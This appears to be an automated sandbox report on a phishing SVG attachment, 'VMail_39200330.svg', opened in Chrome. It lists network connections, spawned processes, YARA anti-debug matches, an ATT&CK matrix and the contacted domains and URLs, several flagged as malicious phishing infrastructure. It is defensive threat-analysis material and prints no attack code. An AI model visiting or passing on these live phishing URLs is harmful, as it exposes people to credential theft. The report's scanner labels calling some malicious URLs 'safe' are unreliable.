Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443

Source: unknown	HTTPS traffic detected: 142.250.185.196:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.92.235.25:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.92.235.25:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.15.59.240:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.15.59.240:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.58:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.58:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.4.189:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.6.189:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.220.176:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.220.176:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.14:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.14:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.4:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.14:443 -> 192.168.2.4:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.1.100:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49839 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir8028_1757592397

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir8028_1757592397

Jump to behavior

Source: classification engine

Classification label: mal100.phis.evad.winSVG@25/85@48/20

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2024,i,411843096288798292,9555603388791790738,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=1972 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\VMail_39200330.svg"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2024,i,411843096288798292,9555603388791790738,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=1972 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 2.5.d.script.csv, type: HTML
Source: Yara match	File source: 3.14..script.csv, type: HTML
Source: Yara match	File source: 3.15..script.csv, type: HTML
Source: Yara match	File source: 3.8.pages.csv, type: HTML
Source: Yara match	File source: 3.7.pages.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
VMail_39200330.svg	0%	Virustotal		Browse

Source	Detection	Scanner	Label
https://t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.es/NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFrsVAOY0KR4bN34t5uv40	0%	Avira URL Cloud	safe
https://abc.lyraxw.es/rsqrVzJ7QK65jRHLycjIYghj33nYSEsxUcPMwlKOLP8XVH4MDzef200	0%	Avira URL Cloud	safe
https://abc.lyraxw.es/ijWWLDoCvTuJ44YEia1IBKMedjsDXwWtKcXBKxZktSxItF89dEWcOT1enMOcUvvj6675q516tMvwyz224	0%	Avira URL Cloud	safe
https://abc.lyraxw.es/stiRdjwTAfcfqX13ewSylqUppklsJ6WztZmnEnkMlJskW0aEtfb5u50hjkAeWfsztjqwa6Dgh260	0%	Avira URL Cloud	safe
https://abc.lyraxw.es/56sBd2wacdImcQvY8914	0%	Avira URL Cloud	safe
https://pb7t0b.jnfemo.ru/bhanchod$4uyqregl	0%	Avira URL Cloud	safe
https://abc.lyraxw.es/abtGFSFdrsecd30	0%	Avira URL Cloud	safe
https://t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.es/NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFrsq0ok40NGZ34PKfeom9uv38	0%	Avira URL Cloud	safe
https://abc.lyraxw.es/glBytjKUIFd02UrOLpXRLqo	0%	Avira URL Cloud	safe
https://abc.lyraxw.es/mnVedtOixL38C0BJgkDMR9Zcc6T8uvYDaAtVGM7H3Hzsxk78148	0%	Avira URL Cloud	safe
file:///C:/Users/user/Desktop/VMail_39200330.svg	0%	Avira URL Cloud	safe
https://abc.lyraxw.es/GDSherpa-regular.woff2	0%	Avira URL Cloud	safe
https://abc.lyraxw.es/GDSherpa-vf.woff2	0%	Avira URL Cloud	safe
https://abc.lyraxw.es/favicon.ico	0%	Avira URL Cloud	safe
https://t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.es/NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFrsK5uuBVO0sNLyGyzowUuv35	0%	Avira URL Cloud	safe
https://t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.es/NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFrsuIc7gwm84Tln1iFPd12QJTwx40	0%	Avira URL Cloud	safe
https://t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.es/NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFrsmwMyx3FgeT34QTOgwx38	0%	Avira URL Cloud	safe
https://t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.es/NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFrs6UEPLqURRIba3gyzUolauv31	0%	Avira URL Cloud	safe
https://abc.lyraxw.es/mn9u9NZ6Felt7yEip0cFn6xwU8gUwijZP89BUtiYsxUKm1Vj0rK3Twx220	0%	Avira URL Cloud	safe
https://abc.lyraxw.es/GDSherpa-bold.woff	0%	Avira URL Cloud	safe
https://providentfundquery.in/vmail	0%	Avira URL Cloud	safe
https://dawn-dust-7616.kpapp.workers.dev/?email=ce6azz%40dxzvthq.co	0%	Avira URL Cloud	safe
https://t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.es/NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFpquQcWqb4344q30c2uv40	0%	Avira URL Cloud	safe
https://abc.lyraxw.es/HX1rTg/	0%	Avira URL Cloud	safe
https://providentfundquery.in/favicon.ico	0%	Avira URL Cloud	safe
https://abc.lyraxw.es/GDSherpa-bold.woff2	0%	Avira URL Cloud	safe
https://abc.lyraxw.es/kfAVOnbCDOBJsIbpoSXWLv0fluppYIKFpulqbrGKTCRx378hottrq0jy	0%	Avira URL Cloud	safe
https://abc.lyraxw.es/yz9nJ96mWPUqO6569NQJB0Iyka1bclYFfgrsFPonTi9mJHOHEJawYZsI3b5RB90178	0%	Avira URL Cloud	safe
https://abc.lyraxw.es/GDSherpa-regular.woff	0%	Avira URL Cloud	safe
https://t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.es/NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFrs2jB9kfsda6CqQyz1yHRwx40	0%	Avira URL Cloud	safe
https://abc.lyraxw.es/wx3AdDnumR1SJPrIXuqrAlc1Jb57I0zYo34124	0%	Avira URL Cloud	safe
https://t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.es/NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFrsacEon9vYb0AY12RFuv40	0%	Avira URL Cloud	safe
https://abc.lyraxw.es/34C7V2eBuqSuT957ghm7Ry8Vg2Gs89110	0%	Avira URL Cloud	safe
https://t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.es/NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFpqeunK3xgHPu34dpmimwx33	0%	Avira URL Cloud	safe
https://abc.lyraxw.es/GDSherpa-vf2.woff2	0%	Avira URL Cloud	safe
https://abc.lyraxw.es/ijBaFXznSRZpB4rxWfYzXd4UXITsz20T7km6cMcd5LcjyGcbr2O7E1Yh78170	0%	Avira URL Cloud	safe
https://abc.lyraxw.es/ajjTaO6WIX5onvbznROzG467IJMTplstVbZF4nADQ7h61aXCb4RM4y7	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
dawn-dust-7616.kpapp.workers.dev	172.67.177.58	true	false	unknown
abc.lyraxw.es	104.21.80.1	true	true	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	high
developers.cloudflare.com	104.16.4.189	true	false	high
github.com	140.82.121.4	true	false	high
t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.es	188.114.97.3	true	false	unknown
code.jquery.com	151.101.130.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
get.geojs.io	172.67.70.233	true	false	high
www.google.com	142.250.185.196	true	false	high
upload.wikimedia.org	185.15.59.240	true	false	high
d19d360lklgih4.cloudfront.net	13.33.187.14	true	false	high
providentfundquery.in	103.92.235.25	true	true	unknown
pb7t0b.jnfemo.ru	172.67.220.176	true	false	unknown
objects.githubusercontent.com	185.199.109.133	true	false	high
ok4static.oktacdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false		high
https://abc.lyraxw.es/rsqrVzJ7QK65jRHLycjIYghj33nYSEsxUcPMwlKOLP8XVH4MDzef200	false	Avira URL Cloud: safe	unknown
https://abc.lyraxw.es/56sBd2wacdImcQvY8914	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.es/NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFrsq0ok40NGZ34PKfeom9uv38	false	Avira URL Cloud: safe	unknown
https://abc.lyraxw.es/EDDLEAYLUCAVPFWYREJUVOODWCFOKf4h3d3itoesnyibz7kg1p4?MPVRWMLSKAIKYAZQBISUNMH	true		unknown
https://pb7t0b.jnfemo.ru/bhanchod$4uyqregl	false	Avira URL Cloud: safe	unknown
https://abc.lyraxw.es/abtGFSFdrsecd30	false	Avira URL Cloud: safe	unknown
https://t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.es/NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFrsVAOY0KR4bN34t5uv40	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=G3U4rf%2BvdnzkzbEwSf4lacg9Skj0KAJ%2FA61UaVRalGq3fwxNwD0HYGbY3aDoPMbogcXNeug5BdiNYwkFE%2F9wmWEVCdCcVPM6uYMOguL%2FXO0RIB8pDWZK3ddutC1ep0tw3WqY	false		high
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false		high
https://abc.lyraxw.es/mnVedtOixL38C0BJgkDMR9Zcc6T8uvYDaAtVGM7H3Hzsxk78148	false	Avira URL Cloud: safe	unknown
https://abc.lyraxw.es/stiRdjwTAfcfqX13ewSylqUppklsJ6WztZmnEnkMlJskW0aEtfb5u50hjkAeWfsztjqwa6Dgh260	false	Avira URL Cloud: safe	unknown
https://abc.lyraxw.es/glBytjKUIFd02UrOLpXRLqo	false	Avira URL Cloud: safe	unknown
https://abc.lyraxw.es/ijWWLDoCvTuJ44YEia1IBKMedjsDXwWtKcXBKxZktSxItF89dEWcOT1enMOcUvvj6675q516tMvwyz224	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js	false		high
https://abc.lyraxw.es/favicon.ico	false	Avira URL Cloud: safe	unknown
https://abc.lyraxw.es/GDSherpa-vf.woff2	false	Avira URL Cloud: safe	unknown
https://t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.es/NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFrsK5uuBVO0sNLyGyzowUuv35	false	Avira URL Cloud: safe	unknown
https://abc.lyraxw.es/GDSherpa-regular.woff2	false	Avira URL Cloud: safe	unknown
https://t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.es/NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFrsmwMyx3FgeT34QTOgwx38	false	Avira URL Cloud: safe	unknown
file:///C:/Users/user/Desktop/VMail_39200330.svg	false	Avira URL Cloud: safe	unknown
https://t4e6yt0fqnq1spaecdwkrsj1djrgbqw0guy0pbiqepctmd4lwsrd.koaxw.es/NoPmujdULrkQCeYeYsQSHCDZBJJTBZZLCYAJUUNQMLVINJQNBHNVHRQJUHMPNBQQNQUXQZABEJUPKLMFrsuIc7gwm84Tln1iFPd12QJTwx40	false	Avira URL Cloud: safe	unknown
https://abc.lyraxw.es/mn9u9NZ6Felt7yEip0cFn6xwU8gUwijZP89BUtiYsxUKm1Vj0rK3Twx220	false	Avira URL Cloud: safe	unknown
https://providentfundquery.in/vmail/	true		unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
